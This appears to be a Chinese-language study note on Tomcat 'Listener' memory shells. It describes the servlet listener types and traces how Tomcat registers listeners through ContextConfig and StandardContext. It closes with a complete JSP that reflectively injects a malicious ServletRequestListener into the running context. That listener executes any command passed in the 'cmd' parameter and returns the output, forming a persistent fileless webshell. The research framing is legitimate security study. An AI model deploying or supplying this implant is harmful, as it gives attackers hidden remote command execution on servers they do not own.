Tomcat-Listener型内存马

前言

之前提起过Filter型内存马,继续沿着这个方向走走,没有专门说明这些名词,先跟进吧

学习

Listener分为几种

1
2
3
4
5
6
7
8
9
10
11
12
ServletContextListener
监听对象: ServletContext(应用上下文)
作用范围: 整个 Web 应用程序(全局范围)。一个 Web 应用只有一个 ServletContext 对象。
主要功能: 监听 Web 应用的启动和销毁事件。
HttpSessionListener
监听对象: HttpSession(用户会话)
作用范围: 用户会话级别。每个与服务器建立会话的用户都会有一个自己的 HttpSession 对象。
主要功能: 监听用户会话的创建和销毁事件。
ServletRequestListener
监听对象: ServletRequest(请求)
作用范围: 单个 HTTP 请求。这是范围最小、触发最频繁的监听器。
主要功能: 监听 HTTP 请求的开始和结束。

既然要打内存马,就看看ServletRequestListener吧,在某个请求之前进行监听
简单写一个东西来测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@WebListener
public class MyRequestListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
// 请求到达,记录开始时间
long startTime = System.currentTimeMillis();
sre.getServletRequest().setAttribute("startTime", startTime);
System.out.println("请求到达: " + ((HttpServletRequest) sre.getServletRequest()).getRequestURI());
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
// 请求结束,计算耗时
long endTime = System.currentTimeMillis();
long startTime = (Long) sre.getServletRequest().getAttribute("startTime");
long duration = endTime - startTime;
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
System.out.println("请求结束: " + request.getRequestURI() + ", 处理耗时: " + duration + "ms");
}
}

记得在web.xml上添下即可

1
2
3
<listener>  
<listener-class>MyRequestListener</listener-class>
</listener>

每次发包都可以看到请求包的一些信息
现在我们开始调试一下,看看具体的动作如何
随手调了调,没有进入关键地方
可以是从ContextConfig 类开启
看了看师傅,发现,在启动应用的时候,ContextConfig 类会去读取配置文件,所以我们去到 ContextConfig 这个类里面找一下哪个方法是来读取配置文件的。
配置文件就是web.xml
通过对配置文件的处理去打后续断点

1
2
3
for(String listener : webxml.getListeners()) {
this.context.addApplicationListener(listener);
}

跟进一下这个方法 ,这里只是一个接口
第一个 FailedContext 类里面的 addApplicationListener() 是没东西的,东西在 StandardContext 里面
跟进,这里是在解析web.xml注册了一个监听类
然后跟进一堆东西,走到当前的listenerStart方法,将之前的 Listener 存下来
以上是初始化
正在运行时候呢?
在最开始随便调调的时候,发现始终无法跟进具体的核心服务
StandardContext#fireRequestInitEvent,这个位置打断点,我还是进不去,就着看吧
省略()
往后就是把存储的Listener拿出来,像之前Filter一样,逐个读取,进入requestInitialized() 方法
如何拿出来呢?
关键是,先获取 StandardContext 类,再通过 addApplicationEventListener() 方法把恶意的 Listener 放进去,我们可以控制StandardContext放进去恶意类?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<%@ page import="org.apache.catalina.core.StandardContext" %>  
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!

class ListenerMemShell implements ServletRequestListener {

@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();

if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());

%>